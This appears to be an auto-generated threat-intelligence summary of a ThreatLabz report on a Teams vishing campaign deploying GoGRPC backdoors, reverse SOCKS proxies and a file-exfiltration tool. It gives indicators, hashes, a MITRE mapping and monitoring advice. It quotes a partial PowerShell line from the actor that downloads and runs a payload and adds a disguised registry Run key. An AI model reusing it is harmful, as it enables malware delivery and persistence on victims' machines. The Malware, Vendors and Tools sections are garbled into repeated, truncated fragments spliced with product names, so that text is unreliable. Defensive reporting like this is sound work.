ThreatLabz Details Teams Vishing Campaign Deploying GoGRPC Backdoors and SOCKS Proxies
Summary
ThreatLabz describes campaigns using Microsoft Teams vishing and Quick Assist for access, followed by PowerShell staging and evolving GoGRPC backdoors, data-theft tools, and SOCKS proxies, with growing focus on corporate targets.
Key points
- ThreatLabz tracked the campaigns from January through June 2026 and assesses the actor is likely an initial access broker associated with ransomware activity.
- The actor uses targeted Microsoft Teams vishing to persuade victims to start a Quick Assist remote support session, then runs PowerShell for reconnaissance and malware deployment.
- Four GoGRPC variants—Lep, Giver, Pet, and Kind—support remote command execution and use gRPC over HTTP/2 for C2; TLS was added in the later Pet and Kind variants.
- Additional tools include BlindDoor, RevSocket, PyGRPC, and RSOX, which provide backdoor or reverse SOCKS proxy capabilities over varied C2 protocols.
- S3Siphon searches selected user directories and uploads files to an AWS S3 bucket, potentially supporting later extortion.
- More recent campaigns use scripts to assess corporate environments and selectively deploy additional tools; RSOX can use environment variables to configure its C2 server and authentication token.
Article Details
- Attack Vectors
- Targeted vishing through Microsoft Teams, followed by convincing victims to start a Quick Assist remote-support session.
- PowerShell scripts download and execute malware, perform reconnaissance, and can create persistence through a registry Run value.
- GoGRPC executes commands received from its C2 server and returns command output; related tools establish reverse SOCKS tunnels.
- S3Siphon collects files from selected directories and uploads them to an AWS S3 bucket using HTTPS PUT requests.
- Defensive Notes
- Monitor for unexpected Quick Assist sessions, PowerShell downloads and execution, and registry Run-value changes.
- Investigate gRPC over HTTP/2 and WebSocket-over-TLS communications to the listed C2 indicators, including traffic using port 443.
- Look for reconnaissance commands involving system information, user and group details, domain trusts, domain computers, and installed antivirus products.
- Monitor for suspicious file collection and outbound uploads to AWS S3, as well as reverse SOCKS tunneling activity.
Indicators of compromise
| Type | Indicator | Context |
|---|---|---|
| DOMAIN | re2[.]filesdwnload[.]top | C2 server identified as deploying tools in April. |
| DOMAIN | re8[.]dowlfles[.]online | C2 server identified as deploying tools in May. |
| DOMAIN | scansec-upd[.]com | C2 server identified as deploying tools. |
| DOMAIN | update19[.]upldf[.]online | C2 server identified as deploying tools in June. |
| DOMAIN | xeds[.]geranteeg[.]online | RSOX C2 server identified for June. |
| IPV4 | 185[.]82[.]126[.]91 | S3Siphon C2 server identified for January. |
| IPV4 | 193[.]29[.]57[.]37 | Pet C2 server. |
| IPV4 | 45[.]86[.]162[.]228 | Kind C2 server identified for June. |
| IPV4 | 46[.]30[.]191[.]126 | RevSocket C2 server identified for May. |
| IPV4 | 46[.]30[.]191[.]60 | RevSocket C2 server identified for June. |
| IPV4 | 5[.]253[.]59[.]222 | Lep C2 server. |
| IPV4 | 94[.]140[.]114[.]192 | Giver C2 server. |
| SHA256 | 35ea50f16bd5c080c91dbaa3dd4937408ed9563c1d9aa1cd0c751ae58db0eedc | Hash identified as a Pet backdoor using TLS. |
| SHA256 | 41748648b71a70431123ec48e38868ff8aad3a7a06f5d781c2d2a4f718e7fd91 | Hash identified as an MSI that drops RSOX. |
| SHA256 | 51edd14233483bcf36e0b0f31451f28eac681fe3f2036f76c02b7ec1bb17ce33 | Hash identified as a Kind backdoor using TLS. |
| SHA256 | 5d53246b0e6b681bc624739a7bead39a61fb07c0f4474b8170112e829c053f85 | Hash identified as RevSocket. |
| SHA256 | 65af5c3ba2d00967b25b9165d2d3171fa81f209ee0790299805bb907d492a670 | Hash identified as PyGRPC and reconnaissance. |
| SHA256 | 66b2b22397cea219266afb8cbbb28fe93997c1444f642a183ac8fc9ca1fabed5 | Hash identified as a Giver backdoor. |
| SHA256 | 759287052b8cc4f4ce16065857cbc9dba72aab218e709d3419483a95092c6f96 | Hash identified as a Pet backdoor using TLS. |
| SHA256 | 7dcabb6d07d52b92bbf8d659d1ed373fa780e7839fd3d744826a56fc1cd2372f | Hash identified as a Giver backdoor. |
| SHA256 | 9136ffb749c6cec13b826cd4f25ffdcf170375889feba9fee28dd74c32578f52 | Hash identified as a Lep backdoor. |
| SHA256 | f36bfccf944b5d1e5e306958c1a728e38786c042ee4e536cc44c9d43940b1121 | Hash identified as a Kind backdoor using TLS. |
| SHA256 | f85960dee17ba587b712cd8cdf89042bcd6ba711c3d5d548bef7c7f0988413f5 | Hash identified as RSOX. |
MITRE ATT&CK
T1033 · System Owner/User DiscoveryGoGRPC collects the username, and observed commands use whoami to retrieve user information.T1059.001 · PowerShellPowerShell scripts and commands are used for staging, reconnaissance, payload delivery, and execution.T1069.001 · Local GroupsObserved commands use whoami /groups to enumerate group membership.T1071.001 · Web ProtocolsGoGRPC uses gRPC over HTTP/2 for C2, while proxy tools also communicate with C2 over WebSockets.T1082 · System Information DiscoveryGoGRPC queries Windows version and build information and collects host details.T1090 · ProxyRevSocket, PyGRPC, and RSOX provide reverse SOCKS proxying or relay traffic through compromised hosts.T1105 · Ingress Tool TransferPowerShell downloads GoGRPC and additional payloads, including MSI-delivered RSOX.T1219 · Remote Access ToolsThe threat actor convinces victims to launch a Quick Assist remote-support session for initial access.T1482 · Domain Trust DiscoveryObserved commands use nltest /domain_trusts to enumerate domain trusts.T1518.001 · Security Software DiscoveryObserved commands query Windows Security Center for installed antivirus products.T1547.001 · Registry Run Keys / Startup FolderThe example PowerShell command creates a registry Run value to start the downloaded executable when a user logs in.T1566.004 · Spearphishing VoiceThe campaign begins with vishing through Microsoft Teams.T1567.002 · Exfiltration to Cloud StorageS3Siphon uploads collected files to an AWS S3 bucket using HTTPS PUT requests.
Malware
BlindDoorinstances, the threat actor has deployed additional malware tools that include a backdoor that we named BlindDoor, a Go-based reverse SOCKS proxy we named RevSocket, a Python-based reverse SOCKS proxy we named PyGRPC,Giverthat we named GoGRPC. ThreatLabz has identified at least four variants of GoGRPC that we named Lep, Giver, Pet, and Kind. In some instances, the threat actor has deployed additional malware tools that include aGoGRPCthrough Microsoft Teams and deploying a variety of tools including a Go-based backdoor that we named GoGRPC. ThreatLabz has identified at least four variants of GoGRPC that we named Lep, Giver, Pet, and Kind. InKindGoGRPC. ThreatLabz has identified at least four variants of GoGRPC that we named Lep, Giver, Pet, and Kind. In some instances, the threat actor has deployed additional malware tools that include a backdoor that weLepbackdoor that we named GoGRPC. ThreatLabz has identified at least four variants of GoGRPC that we named Lep, Giver, Pet, and Kind. In some instances, the threat actor has deployed additional malware tools thatPetthat we named GoGRPC. ThreatLabz has identified at least four variants of GoGRPC that we named Lep, Giver, Pet, and Kind. In some instances, the threat actor has deployed additional malware tools that include aPyGRPCBlindDoor, a Go-based reverse SOCKS proxy we named RevSocket, a Python-based reverse SOCKS proxy we named PyGRPC, and two other tools we named S3Siphon and RSOX.RevSocketmalware tools that include a backdoor that we named BlindDoor, a Go-based reverse SOCKS proxy we named RevSocket, a Python-based reverse SOCKS proxy we named PyGRPC, and two other tools we named S3Siphon and RSOX.RSOXRevSocket, a Python-based reverse SOCKS proxy we named PyGRPC, and two other tools we named S3Siphon and RSOX.S3Siphonwe named RevSocket, a Python-based reverse SOCKS proxy we named PyGRPC, and two other tools we named S3Siphon and RSOX.
Vendors
Products
AWS S3is a utility that iterates through specific directories and exfiltrates files by uploading them to an AWS S3 bucket using HTTPS PUT requests with the user agent BackupAgent/1.0. This data theft is likely used laterMicrosoft Teamssince January 2026. The threat actor targets organizations by leveraging vishing techniques through Microsoft Teams and deploying a variety of tools including a Go-based backdoor that we named GoGRPC. ThreatLabz hasMicrosoft Windows$u -OutFile $p;Unblock-File $p;Start-Process $p;Set-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" -Name "Realtek HD Audio" -Value $p; Remove-ItemQuick Assistgroup that begins with targeted vishing via Microsoft Teams, convincing the victim to launch a Quick Assist remote support session.
Tools
C2 Chopperuse to interact with the backend server. There are projects with a similar approach, such as GRAT and C2 Chopper, but their protocol implementations differ from GoGRPC’s implementation.GRAToperators use to interact with the backend server. There are projects with a similar approach, such as GRAT and C2 Chopper, but their protocol implementations differ from GoGRPC’s implementation.Mythicuses gRPC over HTTP/2 to communicate with C2 servers. This is not typical in public C2 frameworks such as Mythic or Sliver, which generally use gRPC for internal communication between framework components. For example,PowerShellAfter initial access, the threat actors use PowerShell scripts to gather host information and deploy a Go-based backdoor that we named GoGRPC and/or other malware tools.Pyarmoralso observed another tool, named PyGRPC, which was a compiled Python reverse SOCKS proxy, protected by Pyarmor. This proxy communicates with the C2 server using gRPC over TLS like the Pet and Kind backdoor variants.Sliverover HTTP/2 to communicate with C2 servers. This is not typical in public C2 frameworks such as Mythic or Sliver, which generally use gRPC for internal communication between framework components. For example, Sliveryamuxactor can tunnel TCP traffic through the compromised host. To create several tunnels, the proxy uses yamux to multiplex sessions.